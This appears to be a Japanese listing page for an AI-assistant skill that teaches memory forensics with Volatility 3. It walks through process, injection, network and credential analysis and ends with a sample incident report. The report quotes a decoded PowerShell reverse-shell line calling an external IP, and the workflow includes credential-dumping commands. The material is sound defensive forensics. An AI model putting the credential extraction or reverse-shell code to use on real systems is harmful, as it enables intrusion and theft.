analyzing-memory-dumps-with-volatility について
Volatility 3でメモリダンプを調べる、インシデント対応とマルウェアフォレンジック向けのスキルです。プロセス、コードインジェクション、ネットワーク接続、認証情報、タイムラインの分析を扱い、ディスクイメージ調査は対象外です。
主な機能
- 01ダンプのOSとシンボルの特定
- 02プロセスと隠しエントリーの確認
- 03コードインジェクションの検出
- 04ネットワーク接続の確認
- 05メモリアーティファクトと認証情報の抽出
- 06YARAスキャンとタイムライン作成
活用シーン
- 01アラート後のファイルレスマルウェア調査
- 02プロセスインジェクションやルートキットの確認
- 03メモリから認証情報や設定を復元
インストール
コマンドをコピーしてターミナルで実行します。
$
npx skills add https:/ / github.com/ mukul975/ anthropic-cybersecurity-skills --skill analyzing-memory-dumps-with-volatilityインストール後、Claude Code で/analyzing-memory-dumps-with-volatilityを入力して読み込まれたか確認します。
同梱ファイル
SKILL.md と一緒にインストールされる参考資料やスクリプト。
LICENSEreferences/api-reference.mdscripts/agent.py詳細
Volatility によるメモリダンプの分析
使用する場面
- 侵害されたシステムの RAM が取得され、マルウェアの痕跡をフォレンジック分析する必要がある場合
- ディスク上に永続的な痕跡を残さず、メモリ内にのみ存在するファイルレスマルウェアを検出する場合
- プロセスメモリから暗号化キー、パスワード、または復号された設定を抽出する場合
- 侵害されたシステムで、プロセスインジェクション、DLL インジェクション、またはプロセスホロウイングを特定する場合
- 標準的なディスクベースのフォレンジックツールでは検出できないルートキットの活動を分析する場合
ディスクイメージの分析には使用しないでください。ディスクフォレンジックには Autopsy、FTK、または Sleuth Kit を使用してください。
前提条件
- Volatility 3 がインストールされていること(
pip install volatility3)。対象 OS 用のシンボルテーブルも必要です - 対象システムから取得したメモリダンプファイル(WinPmem、LiME、または DumpIt を使用)
- 正しいプロファイル/シンボルを選択するための、取得元 OS のバージョンに関する知識
- 十分なディスク容量(メモリダンプのサイズは 4~64 GB になることがあります)
- メモリ内の既知のマルウェアシグネチャをスキャンするための YARA ルール
- メモリ領域から読み取り可能な文字列を抽出するための Strings ユーティリティ
ワークフロー
ステップ 1:メモリダンプのプロファイルを特定する
メモリダンプからオペレーティングシステムとバージョンを特定します。
# Volatility 3: Automatic OS detection
vol3 -f memory.dmp windows.info
# List available plugins
vol3 -f memory.dmp --help
# If symbols are needed, download from:
# https://downloads.volatilityfoundation.org/volatility3/symbols/
# For Volatility 2 (legacy):
vol2 -f memory.dmp imageinfo
vol2 -f memory.dmp kdbgscan
ステップ 2:実行中のプロセスを列挙する
すべてのプロセスを一覧表示し、疑わしい項目を特定します。
# List all processes
vol3 -f memory.dmp windows.pslist
# Process tree (parent-child relationships)
vol3 -f memory.dmp windows.pstree
# Scan for hidden/unlinked processes (rootkit detection)
vol3 -f memory.dmp windows.psscan
# Compare pslist vs psscan to find hidden processes
# Processes in psscan but not pslist are potentially hidden by rootkits
# Check for process hollowing
vol3 -f memory.dmp windows.pslist --dump
# Then verify the dumped EXE matches the expected binary on disk
Suspicious Process Indicators:
━━━━━━━━━━━━━━━━━━━━━━━━━━━━
- svchost.exe not spawned by services.exe (wrong parent)
- csrss.exe/lsass.exe with unusual parent process
- Multiple instances of lsass.exe (should be only one)
- Processes with misspelled names (scvhost.exe, lssas.exe)
- cmd.exe or powershell.exe spawned by WINWORD.EXE or browser
- Processes running from unusual paths (%TEMP%, %APPDATA%)
- Processes with no parent (orphaned - parent terminated)
ステップ 3:悪意のあるコードインジェクションを検出する
インジェクションされたコードとプロセスホロウイングをスキャンします。
# Detect injected code in processes (malfind)
vol3 -f memory.dmp windows.malfind
# Malfind looks for:
# - Memory regions with PAGE_EXECUTE_READWRITE protection
# - Memory regions containing PE headers (MZ/PE signature)
# - VAD (Virtual Address Descriptor) anomalies
# Dump injected memory regions for analysis
vol3 -f memory.dmp windows.malfind --dump --pid 2184
# List loaded DLLs per process
vol3 -f memory.dmp windows.dlllist --pid 2184
# Detect hollowed processes by comparing mapped image to disk
vol3 -f memory.dmp windows.hollowfind
# Scan for loaded drivers (potential rootkit drivers)
vol3 -f memory.dmp windows.driverscan
# List kernel modules
vol3 -f memory.dmp windows.modules
ステップ 4:ネットワーク接続を分析する
アクティブなネットワーク接続とクローズされたネットワーク接続を抽出します。
# List all network connections (active and listening)
vol3 -f memory.dmp windows.netscan
# Output columns: Offset, Protocol, LocalAddr, LocalPort, ForeignAddr, ForeignPort, State, PID, Owner
# Filter for established connections to external IPs
vol3 -f memory.dmp windows.netscan | grep ESTABLISHED
# For older Windows (XP/2003):
vol3 -f memory.dmp windows.netstat
# Cross-reference PIDs with process list
# Suspicious: svchost.exe connected to external IP on non-standard port
# Suspicious: notepad.exe or calc.exe with network connections
ステップ 5:痕跡と認証情報を抽出する
メモリから機密データを復元します。
# Dump process memory for a specific PID
vol3 -f memory.dmp windows.memmap --dump --pid 2184
# Extract command-line history
vol3 -f memory.dmp windows.cmdline
# Extract environment variables
vol3 -f memory.dmp windows.envars --pid 2184
# Registry analysis (extract Run keys for persistence)
vol3 -f memory.dmp windows.registry.printkey \
--key "Software\Microsoft\Windows\CurrentVersion\Run"
# Extract hashed/cached credentials
vol3 -f memory.dmp windows.hashdump
vol3 -f memory.dmp windows.cachedump
vol3 -f memory.dmp windows.lsadump
# Extract clipboard contents
vol3 -f memory.dmp windows.clipboard
# File extraction from memory
vol3 -f memory.dmp windows.filescan | grep -i "payload\|malware\|suspicious"
vol3 -f memory.dmp windows.dumpfiles --virtaddr 0xFA8001234560
ステップ 6:YARA ルールでメモリをスキャンする
YARA シグネチャを適用して、メモリ内の既知のマルウェアを検出します。
# Scan entire memory dump with YARA rules
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar
# Scan specific process memory
vol3 -f memory.dmp yarascan.YaraScan --yara-file malware_rules.yar --pid 2184
# Built-in YARA scan for common patterns
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule FindC2 { strings: \$s1 = \"gate.php\" condition: \$s1 }"
# Scan for encryption key material
vol3 -f memory.dmp yarascan.YaraScan --yara-rules "rule AES_Key { strings: \$sbox = { 63 7C 77 7B F2 6B 6F C5 } condition: \$sbox }"
ステップ 7:タイムラインとレポートを作成する
分析のタイムラインを作成し、調査結果をまとめます。
# Generate comprehensive timeline
vol3 -f memory.dmp timeliner.Timeliner --output-file timeline.csv
# Timeline includes:
# - Process creation/exit times
# - Network connection timestamps
# - Registry modification times
# - File access times
# Export process list for reporting
vol3 -f memory.dmp windows.pslist --output csv > processes.csv
# Export network connections
vol3 -f memory.dmp windows.netscan --output csv > network.csv
主要な概念
| 用語 | 定義 |
|---|---|
| メモリフォレンジック | 揮発性メモリ(RAM)の内容を分析し、実行中のプロセス、ネットワーク接続、ディスク上には存在しない可能性があるメモリ内の痕跡を特定すること |
| プロセスホロウイング | 正規のプロセスを一時停止状態で作成し、そのメモリを悪意のあるコードに置き換えた後、実行を再開するマルウェアの手法 |
| Malfind | 実行権限を持つメモリ領域と、イメージではない VAD 内の PE ヘッダーを特定して、インジェクションされたコードを検出する Volatility プラグイン |
| VAD(仮想アドレス記述子) | プロセスに割り当てられたメモリ領域を追跡する Windows カーネルの構造体。VAD の異常はインジェクションまたはホロウイングを示します |
| EPROCESS | プロセスを表す Windows カーネルの構造体。ルートキットは EPROCESS エントリのリンクを解除し、標準ツールからプロセスを隠します |
| プールタグスキャン | カーネルオブジェクトのプールタグをスキャンし、リンクが解除されている場合でもオブジェクト(プロセス、ファイル、接続)を見つけるメモリフォレンジックの手法 |
| ファイルレスマルウェア | ディスク上にファイルを作成せず、完全にメモリ内で動作するマルウェア。メモリフォレンジックでのみ検出可能です |
ツールとシステム
- Volatility 3:プラグインアーキテクチャを備え、Windows、Linux、macOS のメモリ分析に対応するオープンソースのメモリフォレンジックフレームワーク
- WinPmem:Windows システム向けのメモリ取得ツール。オフライン分析用に RAW メモリダンプを作成します
- LiME(Linux Memory Extractor):Linux システムのメモリダンプを取得するための、ロード可能なカーネルモジュール
- Rekall:独自の分析機能を備えた代替のメモリフォレンジックフレームワーク(開発は終了していますが、現在も役立ちます)
- MemProcFS:メモリダンプをファイルシステムとしてマウントし、直感的に分析できるメモリプロセスファイルシステム
よくあるシナリオ
シナリオ:EDR アラート後のファイルレスマルウェアの検出
コンテキスト:EDR が不審な PowerShell の動作を検出しましたが、脅威アクターはディスク上の痕跡を削除しました。システムの再起動前にメモリダンプが取得されました。分析では、マルウェア、その永続化の仕組み、ラテラルムーブメントの有無を特定する必要があります。
アプローチ:
windows.pstreeを実行してプロセスチェーン(どのプロセスが PowerShell を起動したか)を特定しますwindows.malfindを実行して、実行中のプロセスに注入されたコードを検出します- 不審なプロセスのメモリをダンプし、文字列を抽出して C2 URL を特定します
windows.netscanを実行して、侵害されたプロセスからのネットワーク接続を特定しますwindows.cmdlineを実行して、PowerShell が実行したコマンドを確認します- ダンプしたプロセスメモリに対し、既知のマルウェアファミリーを検出する YARA ルールでスキャンします
hashdumpとlsadumpで認証情報を抽出し、ラテラルムーブメントのリスクを評価します
注意点:
- OS バージョンに合わないシンボルテーブルを使用する(プラグインの失敗や不正確な結果の原因になります)
pslistとpsscanの出力を比較しない(ルートキットに隠されたプロセスを見落とします)- 注入された正規のプロセスを無視する(プロセス名だけでなく、malfind の結果に注目してください)
- 分析を結論づける前にプロセスメモリ全体を抽出しない(プロセスダンプから抽出した文字列に、追加の IOC が含まれていることがあります)
出力形式
MEMORY FORENSICS ANALYSIS REPORT
===================================
Dump File: memory.dmp
Dump Size: 16 GB
OS Version: Windows 10 21H2 (Build 19044)
Capture Tool: WinPmem 4.0
Capture Time: 2025-09-15 14:35:00 UTC
SUSPICIOUS PROCESSES
PID PPID Name Path Anomaly
2184 1052 svchost.exe C:\Users\Admin\AppData\Temp\svchost.exe Wrong path
4012 2184 powershell.exe C:\Windows\System32\powershell.exe Child of fake svchost
3456 4012 cmd.exe C:\Windows\System32\cmd.exe Spawned by PowerShell
CODE INJECTION DETECTED (malfind)
PID 852 (explorer.exe):
Address: 0x00400000 Size: 98304 Protection: PAGE_EXECUTE_READWRITE
Header: MZ (embedded PE detected)
SHA-256 of dump: abc123def456...
NETWORK CONNECTIONS
PID Process Local Foreign State
2184 svchost.exe 10.1.5.42:49152 185.220.101.42:443 ESTABLISHED
4012 powershell.exe 10.1.5.42:49200 91.215.85.17:8080 ESTABLISHED
EXTRACTED CREDENTIALS
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
COMMAND LINE HISTORY
PID 4012: powershell.exe -enc JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0AA==
Decoded: $client = New-Object System.Net.Sockets.TCPClient("185.220.101.42",443)
YARA MATCHES
PID 2184: rule CobaltStrike_Beacon { matched at 0x00401200 }
TIMELINE
14:10:00 svchost.exe (PID 2184) created from C:\Users\Admin\AppData\Temp\
14:10:05 Network connection to 185.220.101.42:443 established
14:12:30 powershell.exe (PID 4012) spawned by svchost.exe
14:15:00 Code injection into explorer.exe (PID 852) detected
14:20:00 Credential dump from LSASS process
コメント
Markdown 対応